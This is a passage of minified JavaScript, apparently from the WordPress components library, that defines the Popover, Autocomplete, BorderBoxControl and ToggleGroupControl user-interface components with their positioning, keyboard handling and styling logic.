r.displayName=`${t}Slot`,r.__unstableName=e,{name:e,Fill:n,Slot:r}}xw.displayName="SlotFillProvider";const ww="Popover",_w=()=>(0,_t.jsxs)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 100 100",className:"components-popover__triangle",role:"presentation",children:[(0,_t.jsx)(n.Path,{className:"components-popover__triangle-bg",d:"M 0 0 L 50 50 L 100 0"}),(0,_t.jsx)(n.Path,{className:"components-popover__triangle-border",d:"M 0 0 L 50 50 L 100 0",vectorEffect:"non-scaling-stroke"})]}),Sw=(0,c.createContext)(void 0),Cw="components-popover__fallback-container",kw=al(((e,t)=>{const{animate:n=!0,headerTitle:r,constrainTabbing:o,onClose:i,children:u,className:d,noArrow:p=!0,position:f,placement:h="bottom-start",offset:m=0,focusOnMount:g="firstElement",anchor:v,expandOnMobile:b,onFocusOutside:x,__unstableSlotName:y=ww,flip:w=!0,resize:_=!0,shift:S=!1,inline:C=!1,variant:k,style:j,__unstableForcePosition:E,anchorRef:P,anchorRect:N,getAnchorRect:T,isAlternate:I,...R}=sl(e,"Popover");let M=w,A=_;void 0!==E&&(Xi()("`__unstableForcePosition` prop in wp.components.Popover",{since:"6.1",version:"6.3",alternative:"`flip={ false }` and `resize={ false }`"}),M=!E,A=!E),void 0!==P&&Xi()("`anchorRef` prop in wp.components.Popover",{since:"6.1",alternative:"`anchor` prop"}),void 0!==N&&Xi()("`anchorRect` prop in wp.components.Popover",{since:"6.1",alternative:"`anchor` prop"}),void 0!==T&&Xi()("`getAnchorRect` prop in wp.components.Popover",{since:"6.1",alternative:"`anchor` prop"});const D=I?"toolbar":k;void 0!==I&&Xi()("`isAlternate` prop in wp.components.Popover",{since:"6.2",alternative:"`variant` prop with the `'toolbar'` value"});const z=(0,c.useRef)(null),[O,L]=(0,c.useState)(null),F=(0,c.useCallback)((e=>{L(e)}),[]),V=(0,l.useViewportMatch)("medium","<"),$=b&&V,H=!$&&!p,W=f?Ji(f):h,U=[..."overlay"===h?[{name:"overlay",fn:({rects:e})=>e.reference},Ti({apply({rects:e,elements:t}){var n;const{firstElementChild:r}=null!==(n=t.floating)&&void 0!==n?n:{};r instanceof HTMLElement&&Object.assign(r.style,{width:`${e.reference.width}px`,height:`${e.reference.height}px`})}})]:[],Vo(m),M&&Ni(),A&&Ti({apply(e){var t;const{firstElementChild:n}=null!==(t=J.floating.current)&&void 0!==t?t:{};n instanceof HTMLElement&&Object.assign(n.style,{maxHeight:`${e.availableHeight}px`,overflow:"auto"})}}),S&&Pi({crossAxis:!0,limiter:Ri(),padding:1}),My({element:z})],G=(0,c.useContext)(Sw)||y,K=Gy(G);let q;(i||x)&&(q=(e,t)=>{"focus-outside"===e&&x?x(t):i&&i()});const[Y,X]=(0,l.__experimentalUseDialog)({constrainTabbing:o,focusOnMount:g,__unstableOnClose:q,onClose:q}),{x:Z,y:Q,refs:J,strategy:ee,update:te,placement:ne,middlewareData:{arrow:re}}=function(e){void 0===e&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:o,elements:{reference:i,floating:s}={},transform:a=!0,whileElementsMounted:l,open:c}=e,[u,d]=B.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[p,f]=B.useState(r);Dy(p,r)||f(r);const[h,m]=B.useState(null),[g,v]=B.useState(null),b=B.useCallback((e=>{e!==_.current&&(_.current=e,m(e))}),[]),x=B.useCallback((e=>{e!==S.current&&(S.current=e,v(e))}),[]),y=i||h,w=s||g,_=B.useRef(null),S=B.useRef(null),C=B.useRef(u),k=null!=l,j=Ly(l),E=Ly(o),P=B.useCallback((()=>{if(!_.current||!S.current)return;const e={placement:t,strategy:n,middleware:p};E.current&&(e.platform=E.current),Mi(_.current,S.current,e).then((e=>{const t={...e,isPositioned:!0};N.current&&!Dy(C.current,t)&&(C.current=t,Kr.flushSync((()=>{d(t)})))}))}),[p,t,n,E]);Ay((()=>{!1===c&&C.current.isPositioned&&(C.current.isPositioned=!1,d((e=>({...e,isPositioned:!1}))))}),[c]);const N=B.useRef(!1);Ay((()=>(N.current=!0,()=>{N.current=!1})),[]),Ay((()=>{if(y&&(_.current=y),w&&(S.current=w),y&&w){if(j.current)return j.current(y,w,P);P()}}),[y,w,P,j,k]);const T=B.useMemo((()=>({reference:_,floating:S,setReference:b,setFloating:x})),[b,x]),I=B.useMemo((()=>({reference:y,floating:w})),[y,w]),R=B.useMemo((()=>{const e={position:n,left:0,top:0};if(!I.floating)return e;const t=Oy(I.floating,u.x),r=Oy(I.floating,u.y);return a?{...e,transform:"translate("+t+"px, "+r+"px)",...zy(I.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:t,top:r}}),[n,a,I.floating,u.x,u.y]);return B.useMemo((()=>({...u,update:P,refs:T,elements:I,floatingStyles:R})),[u,P,T,I,R])}({placement:"overlay"===W?void 0:W,middleware:U,whileElementsMounted:(e,t,n)=>Ei(e,t,n,{layoutShift:!1,animationFrame:!0})}),oe=(0,c.useCallback)((e=>{z.current=e,te()}),[te]),ie=P?.top,se=P?.bottom,ae=P?.startContainer,le=P?.current;(0,c.useLayoutEffect)((()=>{const e=(({anchor:e,anchorRef:t,anchorRect:n,getAnchorRect:r,fallbackReferenceElement:o})=>{var i;let s=null;return e?s=e:function(e){return!!e?.top}(t)?s={getBoundingClientRect(){const e=t.top.getBoundingClientRect(),n=t.bottom.getBoundingClientRect();return new window.DOMRect(e.x,e.y,e.width,n.bottom-e.top)}}:function(e){return!!e?.current}(t)?s=t.current:t?s=t:n?s={getBoundingClientRect:()=>n}:r?s={getBoundingClientRect(){var e,t,n,i;const s=r(o);return new window.DOMRect(null!==(e=s.x)&&void 0!==e?e:s.left,null!==(t=s.y)&&void 0!==t?t:s.top,null!==(n=s.width)&&void 0!==n?n:s.right-s.left,null!==(i=s.height)&&void 0!==i?i:s.bottom-s.top)}}:o&&(s=o.parentElement),null!==(i=s)&&void 0!==i?i:null})({anchor:v,anchorRef:P,anchorRect:N,getAnchorRect:T,fallbackReferenceElement:O});J.setReference(e)}),[v,P,ie,se,ae,le,N,T,O,J]);const ce=(0,l.useMergeRefs)([J.setFloating,Y,t]),ue=$?void 0:{position:ee,top:0,left:0,x:ts(Z),y:ts(Q)},de=(0,l.useReducedMotion)(),pe=n&&!$&&!de,[fe,he]=(0,c.useState)(!1),{style:me,...ge}=(0,c.useMemo)((()=>(e=>{const t=e.startsWith("top")||e.startsWith("bottom")?"translateY":"translateX",n=e.startsWith("top")||e.startsWith("left")?1:-1;return{style:es[e],initial:{opacity:0,scale:0,[t]:2*n+"em"},animate:{opacity:1,scale:1,[t]:0},transition:{duration:.1,ease:[0,0,.2,1]}}})(ne)),[ne]),ve=pe?{style:{...j,...me,...ue},onAnimationComplete:()=>he(!0),...ge}:{animate:!1,style:{...j,...ue}},be=(!pe||fe)&&null!==Z&&null!==Q;let xe=(0,_t.jsxs)(ag.div,{className:s(d,{"is-expanded":$,"is-positioned":be,[`is-${"toolbar"===D?"alternate":D}`]:D}),...ve,...R,ref:ce,...X,tabIndex:-1,children:[$&&(0,_t.jsx)(Hy,{}),$&&(0,_t.jsxs)("div",{className:"components-popover__header",children:[(0,_t.jsx)("span",{className:"components-popover__header-title",children:r}),(0,_t.jsx)(Jx,{className:"components-popover__close",size:"small",icon:Fy,onClick:i,label:(0,a.__)("Close")})]}),(0,_t.jsx)("div",{className:"components-popover__content",children:u}),H&&(0,_t.jsx)("div",{ref:oe,className:["components-popover__arrow",`is-${ne.split("-")[0]}`].join(" "),style:{left:void 0!==re?.x&&Number.isFinite(re.x)?`${re.x}px`:"",top:void 0!==re?.y&&Number.isFinite(re.y)?`${re.y}px`:""},children:(0,_t.jsx)(_w,{})})]});const ye=K.ref&&!C,we=P||N||v;return ye?xe=(0,_t.jsx)(vw,{name:G,children:xe}):C||(xe=(0,c.createPortal)((0,_t.jsx)(aw,{document,children:xe}),(()=>{let e=document.body.querySelector("."+Cw);return e||(e=document.createElement("div"),e.className=Cw,document.body.append(e)),e})())),we?xe:(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)("span",{ref:F}),xe]})}),"Popover");kw.Slot=(0,c.forwardRef)((function({name:e=ww},t){return(0,_t.jsx)(bw,{bubblesVirtually:!0,name:e,className:"popover-slot",ref:t})})),kw.__unstableSlotNameProvider=Sw.Provider;const jw=kw;function Ew({items:e,onSelect:t,selectedIndex:n,instanceId:r,listBoxId:o,className:i,Component:a="div"}){return(0,_t.jsx)(a,{id:o,role:"listbox",className:"components-autocomplete__results",children:e.map(((e,o)=>(0,_t.jsx)(Jx,{id:`components-autocomplete-item-${r}-${e.key}`,role:"option",__next40pxDefaultSize:!0,"aria-selected":o===n,accessibleWhenDisabled:!0,disabled:e.isDisabled,className:s("components-autocomplete__result",i,{"is-selected":o===n}),variant:o===n?"primary":void 0,onClick:()=>t(e),children:e.label},e.key)))})}function Pw(e){var t;const n=null!==(t=e.useItems)&&void 0!==t?t:Ry(e);return function({filterValue:e,instanceId:t,listBoxId:r,className:o,selectedIndex:i,onChangeOptions:s,onSelect:u,onReset:d,reset:p,contentRef:f}){const[h]=n(e),m=(0,ky.useAnchor)({editableContentElement:f.current}),[g,v]=(0,c.useState)(!1),b=(0,c.useRef)(null),x=(0,l.useMergeRefs)([b,(0,l.useRefEffect)((e=>{f.current&&v(e.ownerDocument!==f.current.ownerDocument)}),[f])]);var y,w;y=b,w=p,(0,c.useEffect)((()=>{const e=e=>{y.current&&!y.current.contains(e.target)&&w(e)};return document.addEventListener("mousedown",e),document.addEventListener("touchstart",e),()=>{document.removeEventListener("mousedown",e),document.removeEventListener("touchstart",e)}}),[w,y]);const _=(0,l.useDebounce)(jy.speak,500);return(0,c.useLayoutEffect)((()=>{s(h),function(t){_&&(t.length?_(e?(0,a.sprintf)((0,a._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",t.length),t.length):(0,a.sprintf)((0,a._n)("Initial %d result loaded. Type to filter all available results. Use up and down arrow keys to navigate.","Initial %d results loaded. Type to filter all available results. Use up and down arrow keys to navigate.",t.length),t.length),"assertive"):_((0,a.__)("No results."),"assertive"))}(h)}),[h]),0===h.length?null:(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(jw,{focusOnMount:!1,onClose:d,placement:"top-start",className:"components-autocomplete__popover",anchor:m,ref:x,children:(0,_t.jsx)(Ew,{items:h,onSelect:u,selectedIndex:i,instanceId:t,listBoxId:r,className:o})}),f.current&&g&&(0,Kr.createPortal)((0,_t.jsx)(Ew,{items:h,onSelect:u,selectedIndex:i,instanceId:t,listBoxId:r,className:o,Component:Sl}),f.current.ownerDocument.body)]})}}const Nw=e=>{if(null===e)return"";switch(typeof e){case"string":case"number":return e.toString();case"boolean":default:return"";case"object":if(e instanceof Array)return e.map(Nw).join("");if("props"in e)return Nw(e.props.children)}return""},Tw=[],Iw={};function Rw({record:e,onChange:t,onReplace:n,completers:r,contentRef:o}){const i=(0,l.useInstanceId)(Iw),[s,a]=(0,c.useState)(0),[u,d]=(0,c.useState)(Tw),[p,f]=(0,c.useState)(""),[h,m]=(0,c.useState)(null),[g,v]=(0,c.useState)(null),b=(0,c.useRef)(!1);function x(r){const{getOptionCompletion:o}=h||{};if(!r.isDisabled){if(o){const i=o(r.value,p),s=(e=>null!==e&&"object"==typeof e&&"action"in e&&void 0!==e.action&&"value"in e&&void 0!==e.value)(i)?i:{action:"insert-at-caret",value:i};if("replace"===s.action)return void n([s.value]);"insert-at-caret"===s.action&&function(n){if(null===h)return;const r=e.start,o=r-h.triggerPrefix.length-p.length,i=(0,ky.create)({html:(0,c.renderToString)(n)});t((0,ky.insert)(e,i,o,r))}(s.value)}y()}}function y(){a(0),d(Tw),f(""),m(null),v(null)}const w=(0,c.useMemo)((()=>(0,ky.isCollapsed)(e)?(0,ky.getTextContent)((0,ky.slice)(e,0)):""),[e]);(0,c.useEffect)((()=>{if(!w)return void(h&&y());const t=r.reduce(((e,t)=>w.lastIndexOf(t.triggerPrefix)>(null!==e?w.lastIndexOf(e.triggerPrefix):-1)?t:e),null);if(!t)return void(h&&y());const{allowContext:n,triggerPrefix:o}=t,i=w.lastIndexOf(o),s=w.slice(i+o.length);if(s.length>50)return;const a=0===u.length,l=s.split(/\s/),c=1===l.length,d=b.current&&l.length<=3;if(a&&!d&&!c)return void(h&&y());const p=(0,ky.getTextContent)((0,ky.slice)(e,void 0,(0,ky.getTextContent)(e).length));if(n&&!n(w.slice(0,i),p))return void(h&&y());if(/^\s/.test(s)||/\s\s+$/.test(s))return void(h&&y());if(!/[\u0000-\uFFFF]*$/.test(s))return void(h&&y());const x=Iy(t.triggerPrefix),_=Cy()(w),S=_.slice(_.lastIndexOf(t.triggerPrefix)).match(new RegExp(`${x}([\0-]*)$`)),C=S&&S[1];m(t),v((()=>t!==h?Pw(t):g)),f(null===C?"":C)}),[w]);const{key:_=""}=u[s]||{},{className:S}=h||{},C=!!h&&u.length>0,k=C?`components-autocomplete-listbox-${i}`:void 0,j=C?`components-autocomplete-item-${i}-${_}`:null,E=void 0!==e.start;return{listBoxId:k,activeId:j,onKeyDown:jx((function(e){if(b.current="Backspace"===e.key,h&&0!==u.length&&!e.defaultPrevented){switch(e.key){case"ArrowUp":{const e=(0===s?u.length:s)-1;a(e),(0,Ey.isAppleOS)()&&(0,jy.speak)(Nw(u[e].label),"assertive");break}case"ArrowDown":{const e=(s+1)%u.length;a(e),(0,Ey.isAppleOS)()&&(0,jy.speak)(Nw(u[e].label),"assertive");break}case"Escape":m(null),v(null),e.preventDefault();break;case"Enter":x(u[s]);break;case"ArrowLeft":case"ArrowRight":return void y();default:return}e.preventDefault()}})),popover:E&&g&&(0,_t.jsx)(g,{className:S,filterValue:p,instanceId:i,listBoxId:k,selectedIndex:s,onChangeOptions:function(e){a(e.length===u.length?s:0),d(e)},onSelect:x,value:e,contentRef:o,reset:y})}}function Mw(e){const t=(0,c.useRef)(null),n=(0,c.useRef)(),{record:r}=e,o=function(e){const t=(0,c.useRef)(new Set);return t.current.add(e),t.current.size>2&&t.current.delete(Array.from(t.current)[0]),Array.from(t.current)[0]}(r),{popover:i,listBoxId:s,activeId:a,onKeyDown:u}=Rw({...e,contentRef:t});n.current=u;const d=(0,l.useMergeRefs)([t,(0,l.useRefEffect)((e=>{function t(e){n.current?.(e)}return e.addEventListener("keydown",t),()=>{e.removeEventListener("keydown",t)}}),[])]);return r.text!==o?.text?{ref:d,children:i,"aria-autocomplete":s?"list":void 0,"aria-owns":s,"aria-activedescendant":a}:{ref:d}}function Aw({children:e,isSelected:t,...n}){const{popover:r,...o}=Rw(n);return(0,_t.jsxs)(_t.Fragment,{children:[e(o),t&&r]})}function Dw(e){const{help:t,id:n,...r}=e,o=(0,l.useInstanceId)(Wx,"wp-components-base-control",n);return{baseControlProps:{id:o,help:t,...r},controlProps:{id:o,...t?{"aria-describedby":`${o}__help`}:{}}}}const zw=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z"})}),Ow=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z"})});const Lw=Nl("",""),Fw={name:"bjn8wh",styles:"position:relative"},Bw=e=>{const{color:t=zl.gray[200],style:n="solid",width:r=Fl.borderWidth}=e||{};return`${t} ${!!r&&"0"!==r||!!t?n||"solid":n} ${r!==Fl.borderWidth?`clamp(1px, ${r}, 10px)`:r}`},Vw={name:"1nwbfnf",styles:"grid-column:span 2;margin:0 auto"};function $w(e){const{className:t,size:n="default",...r}=sl(e,"BorderBoxControlLinkedButton"),o=il();return{...r,className:(0,c.useMemo)((()=>o((e=>Nl("position:absolute;top:","__unstable-large"===e?"8px":"3px",";",Mg({right:0})()," line-height:0;",""))(n),t)),[t,o,n])}}const Hw=al(((e,t)=>{const{className:n,isLinked:r,...o}=$w(e),i=r?(0,a.__)("Unlink sides"):(0,a.__)("Link sides");return(0,_t.jsx)(Jx,{...o,size:"small",icon:r?zw:Ow,iconSize:24,label:i,ref:t,className:n})}),"BorderBoxControlLinkedButton");function Ww(e){const{className:t,value:n,size:r="default",...o}=sl(e,"BorderBoxControlVisualizer"),i=il(),s=(0,c.useMemo)((()=>i(((e,t)=>Nl("position:absolute;top:","__unstable-large"===t?"20px":"15px",";right:","__unstable-large"===t?"39px":"29px",";bottom:","__unstable-large"===t?"20px":"15px",";left:","__unstable-large"===t?"39px":"29px",";border-top:",Bw(e?.top),";border-bottom:",Bw(e?.bottom),";",Mg({borderLeft:Bw(e?.left)})()," ",Mg({borderRight:Bw(e?.right)})(),";",""))(n,r),t)),[i,t,n,r]);return{...o,className:s,value:n}}const Uw=al(((e,t)=>{const{value:n,...r}=Ww(e);return(0,_t.jsx)(_l,{...r,ref:t})}),"BorderBoxControlVisualizer"),Gw=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M5 11.25h14v1.5H5z"})}),Kw=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",d:"M5 11.25h3v1.5H5v-1.5zm5.5 0h3v1.5h-3v-1.5zm8.5 0h-3v1.5h3v-1.5z",clipRule:"evenodd"})}),qw=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",d:"M5.25 11.25h1.5v1.5h-1.5v-1.5zm3 0h1.5v1.5h-1.5v-1.5zm4.5 0h-1.5v1.5h1.5v-1.5zm1.5 0h1.5v1.5h-1.5v-1.5zm4.5 0h-1.5v1.5h1.5v-1.5z",clipRule:"evenodd"})});const Yw=e=>{const t=Nl("border-color:",zl.ui.border,";","");return Nl(e&&t," &:hover{border-color:",zl.ui.borderHover,";}&:focus-within{border-color:",zl.ui.borderFocus,";box-shadow:",Fl.controlBoxShadowFocus,";z-index:1;outline:2px solid transparent;outline-offset:-2px;}","")};var Xw={name:"1aqh2c7",styles:"min-height:40px;padding:3px"},Zw={name:"1ndywgm",styles:"min-height:36px;padding:2px"};const Qw=e=>({default:Zw,"__unstable-large":Xw}[e]),Jw={name:"7whenc",styles:"display:flex;width:100%"},e_=yl("div",{target:"eakva830"})({name:"zjik7",styles:"display:flex"});function t_(e={}){var t,n=N(e,[]);const r=null==(t=n.store)?void 0:t.getState(),o=ht(P(E({},n),{focusLoop:F(n.focusLoop,null==r?void 0:r.focusLoop,!0)})),i=He(P(E({},o.getState()),{value:F(n.value,null==r?void 0:r.value,n.defaultValue,null)}),o,n.store);return P(E(E({},o),i),{setValue:e=>i.setState("value",e)})}function n_(e={}){const[t,n]=rt(t_,e);return function(e,t,n){return nt(e=gt(e,t,n),n,"value","setValue"),e}(t,n,e)}var r_=Et([Mt],[At]),o_=r_.useContext,i_=(r_.useScopedContext,r_.useProviderContext),s_=(r_.ContextProvider,r_.ScopedContextProvider),a_=jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=i_();return D(n=n||o,!1),r=Me(r,(e=>(0,_t.jsx)(s_,{value:n,children:e})),[n]),r=v({role:"radiogroup"},r),r=cn(v({store:n},r))})),l_=St((function(e){return kt("div",a_(e))}));const c_=(0,c.createContext)({}),u_=c_;function d_(e){const t=(0,c.useRef)(!0),n=(0,l.usePrevious)(e),r=(0,c.useRef)(!1);(0,c.useEffect)((()=>{t.current&&(t.current=!1)}),[]);const o=r.current||!t.current&&n!==e;return(0,c.useEffect)((()=>{r.current=o}),[o]),o?{value:null!=e?e:"",defaultValue:void 0}:{value:void 0,defaultValue:e}}const p_=(0,c.forwardRef)((function({children:e,isAdaptiveWidth:t,label:n,onChange:r,size:o,value:i,id:s,setSelectedElement:u,...d},p){const f=(0,l.useInstanceId)(p_,"toggle-group-control-as-radio-group"),h=s||f,{value:m,defaultValue:g}=d_(i),v=r?e=>{r(null!=e?e:void 0)}:void 0,b=n_({defaultValue:g,value:m,setValue:v,rtl:(0,a.isRTL)()}),x=et(b,"value"),y=b.setValue;(0,c.useEffect)((()=>{""===x&&b.setActiveId(void 0)}),[b,x]);const w=(0,c.useMemo)((()=>({activeItemIsNotFirstItem:()=>b.getState().activeId!==b.first(),baseId:h,isBlock:!t,size:o,value:x,setValue:y,setSelectedElement:u})),[h,t,b,x,u,y,o]);return(0,_t.jsx)(u_.Provider,{value:w,children:(0,_t.jsx)(l_,{store:b,"aria-label":n,render:(0,_t.jsx)(_l,{}),...d,id:h,ref:p,children:e})})}));function f_({defaultValue:e,onChange:t,value:n}){const r=void 0!==n,o=r?n:e,[i,s]=(0,c.useState)(o);let a;return a=r&&"function"==typeof t?t:r||"function"!=typeof t?s:e=>{t(e),s(e)},[r?n:i,a]}const h_=(0,c.forwardRef)((function({children:e,isAdaptiveWidth:t,label:n,onChange:r,size:o,value:i,id:s,setSelectedElement:a,...u},d){const p=(0,l.useInstanceId)(h_,"toggle-group-control-as-button-group"),f=s||p,{value:h,defaultValue:m}=d_(i),[g,v]=f_({defaultValue:m,value:h,onChange:r}),b=(0,c.useMemo)((()=>({baseId:f,value:g,setValue:v,isBlock:!t,isDeselectable:!0,size:o,setSelectedElement:a})),[f,g,v,t,o,a]);return(0,_t.jsx)(u_.Provider,{value:b,children:(0,_t.jsx)(_l,{"aria-label":n,...u,ref:d,role:"group",children:e})})})),m_={element:void 0,top:0,right:0,bottom:0,left:0,width:0,height:0};function g_(e,t=[]){const[n,r]=(0,c.useState)(m_),o=(0,c.useRef)(),i=(0,l.useEvent)((()=>{if(e&&e.isConnected){const t=function(e){var t,n,r;const o=e.getBoundingClientRect();if(0===o.width||0===o.height)return;const i=e.offsetParent,s=null!==(t=i?.getBoundingClientRect())&&void 0!==t?t:m_,a=null!==(n=i?.scrollLeft)&&void 0!==n?n:0,l=null!==(r=i?.scrollTop)&&void 0!==r?r:0,c=parseFloat(getComputedStyle(e).width),u=parseFloat(getComputedStyle(e).height),d=c/o.width,p=u/o.height;return{element:e,top:(o.top-s?.top)*p+l,right:(s?.right-o.right)*d-a,bottom:(s?.bottom-o.bottom)*p-l,left:(o.left-s?.left)*d+a,width:c,height:u}}(e);if(t)return r(t),clearInterval(o.current),!0}else clearInterval(o.current);return!1})),s=(0,l.useResizeObserver)((()=>{i()||requestAnimationFrame((()=>{i()||(o.current=setInterval(i,100))}))}));return(0,c.useLayoutEffect)((()=>{s(e),e||r(m_)}),[s,e]),(0,c.useLayoutEffect)((()=>{i()}),t),n}function v_(e,t,{prefix:n="subelement",dataAttribute:r=`${n}-animated`,transitionEndFilter:o=()=>!0,roundRect:i=!1}={}){const s=(0,l.useEvent)((()=>{Object.keys(t).forEach((r=>"element"!==r&&e?.style.setProperty(`--${n}-${r}`,String(i?Math.floor(t[r]):t[r]))))}));(0,c.useLayoutEffect)((()=>{s()}),[t,s]),function(e,t){const n=(0,c.useRef)(e),r=(0,l.useEvent)(t);(0,c.useLayoutEffect)((()=>{n.current!==e&&(r({previousValue:n.current}),n.current=e)}),[r,e])}(t.element,(({previousValue:n})=>{t.element&&n&&e?.setAttribute(`data-${r}`,"")})),(0,c.useLayoutEffect)((()=>{function t(t){o(t)&&e?.removeAttribute(`data-${r}`)}return e?.addEventListener("transitionend",t),()=>e?.removeEventListener("transitionend",t)}),[r,e,o])}const b_=al((function(e,t){const{__nextHasNoMarginBottom:n=!1,__next40pxDefaultSize:r=!1,__shouldNotWarnDeprecated36pxSize:o,className:i,isAdaptiveWidth:s=!1,isBlock:a=!1,isDeselectable:u=!1,label:d,hideLabelFromVision:p=!1,help:f,onChange:h,size:m="default",value:g,children:v,...b}=sl(e,"ToggleGroupControl"),x=r&&"default"===m?"__unstable-large":m,[y,w]=(0,c.useState)(),[_,S]=(0,c.useState)(),C=(0,l.useMergeRefs)([S,t]);v_(_,g_(null!=g?y:void 0),{prefix:"selected",dataAttribute:"indicator-animated",transitionEndFilter:e=>"::before"===e.pseudoElement,roundRect:!0});const k=il(),j=(0,c.useMemo)((()=>k((({isBlock:e,isDeselectable:t,size:n})=>Nl("background:",zl.ui.background,";border:1px solid transparent;border-radius:",Fl.radiusSmall,";display:inline-flex;min-width:0;position:relative;",Qw(n)," ",!t&&Yw(e),"@media not ( prefers-reduced-motion ){&[data-indicator-animated]::before{transition-property:transform,border-radius;transition-duration:0.2s;transition-timing-function:ease-out;}}&::before{content:'';position:absolute;pointer-events:none;background:",zl.theme.foreground,";outline:2px solid transparent;outline-offset:-3px;--antialiasing-factor:100;border-radius:calc(\n\t\t\t\t",Fl.radiusXSmall," /\n\t\t\t\t\t(\n\t\t\t\t\t\tvar( --selected-width, 0 ) /\n\t\t\t\t\t\t\tvar( --antialiasing-factor )\n\t\t\t\t\t)\n\t\t\t)/",Fl.radiusXSmall,";left:-1px;width:calc( var( --antialiasing-factor ) * 1px );height:calc( var( --selected-height, 0 ) * 1px );transform-origin:left top;transform:translateX( calc( var( --selected-left, 0 ) * 1px ) ) scaleX(\n\t\t\t\tcalc(\n\t\t\t\t\tvar( --selected-width, 0 ) / var( --antialiasing-factor )\n\t\t\t\t)\n\t\t\t);}",""))({isBlock:a,isDeselectable:u,size:x}),a&&Jw,i)),[i,k,a,u,x]),E=u?h_:p_;return Ux({componentName:"ToggleGroupControl",size:m,__next40pxDefaultSize:r,__shouldNotWarnDeprecated36pxSize:o}),(0,_t.jsxs)(Wx,{help:f,__nextHasNoMarginBottom:n,__associatedWPComponentName:"ToggleGroupControl",children:[!p&&(0,_t.jsx)(e_,{children:(0,_t.jsx)(Wx.VisualLabel,{children:d})}),(0,_t.jsx)(E,{...b,setSelectedElement:w,className:j,isAdaptiveWidth:s,label:d,onChange:h,ref:C,size:x,value:g,children:v})]})}),"ToggleGroupControl"),x_=b_;var y_="input";var w_=jt((function(e){var t=e,{store:n,name:r,value:o,checked:i}=t,s=x(t,["store","name","value","checked"]);const a=o_();n=n||a;const l=Pe(s.id),c=(0,B.useRef)(null),u=et(n,(e=>null!=i?i:function(e,t){if(void 0!==t)return null!=e&&null!=t?t===e:!!t}(o,null==e?void 0:e.value)));(0,B.useEffect)((()=>{if(!l)return;if(!u)return;(null==n?void 0:n.getState().activeId)===l||null==n||n.setActiveId(l)}),[n,u,l]);const d=s.onChange,p=function(e,t){return"input"===e&&(!t||"radio"===t)}(Ne(c,y_),s.type),f=O(s),[h,m]=Ie();(0,B.useEffect)((()=>{const e=c.current;e&&(p||(void 0!==u&&(e.checked=u),void 0!==r&&(e.name=r),void 0!==o&&(e.value=`${o}`)))}),[h,p,u,r,o]);const g=ke((e=>{if(f)return e.preventDefault(),void e.stopPropagation();(null==n?void 0:n.getState().value)!==o&&(p||(e.currentTarget.checked=!0,m()),null==d||d(e),e.defaultPrevented||null==n||n.setValue(o))})),y=s.onClick,w=ke((e=>{null==y||y(e),e.defaultPrevented||p||g(e)})),_=s.onFocus,S=ke((e=>{if(null==_||_(e),e.defaultPrevented)return;if(!p)return;if(!n)return;const{moves:t,activeId:r}=n.getState();t&&(l&&r!==l||g(e))}));return s=b(v({id:l,role:p?void 0:"radio",type:p?"radio":void 0,"aria-checked":u},s),{ref:Ee(c,s.ref),onChange:g,onClick:w,onFocus:S}),s=Mn(v({store:n,clickOnEnter:!p},s)),L(v({name:p?r:void 0,value:p?o:void 0,checked:u},s))})),__=Ct(St((function(e){const t=w_(e);return kt(y_,t)})));const S_=yl("div",{target:"et6ln9s1"})({name:"sln1fl",styles:"display:inline-flex;max-width:100%;min-width:0;position:relative"}),C_={name:"82a6rk",styles:"flex:1"},k_=({isDeselectable:e,isIcon:t,isPressed:n,size:r})=>Nl("align-items:center;appearance:none;background:transparent;border:none;border-radius:",Fl.radiusXSmall,";color:",zl.theme.gray[700],";fill:currentColor;cursor:pointer;display:flex;font-family:inherit;height:100%;justify-content:center;line-height:100%;outline:none;padding:0 12px;position:relative;text-align:center;@media not ( prefers-reduced-motion ){transition:background ",Fl.transitionDurationFast," linear,color ",Fl.transitionDurationFast," linear,font-weight 60ms linear;}user-select:none;width:100%;z-index:2;&::-moz-focus-inner{border:0;}&[disabled]{opacity:0.4;cursor:default;}&:active{background:",zl.ui.background,";}",e&&E_," ",t&&N_({size:r})," ",n&&j_,";",""),j_=Nl("color:",zl.theme.foregroundInverted,";&:active{background:transparent;}",""),E_=Nl("color:",zl.theme.foreground,";&:focus{box-shadow:inset 0 0 0 1px ",zl.ui.background,",0 0 0 ",Fl.borderWidthFocus," ",zl.theme.accent,";outline:2px solid 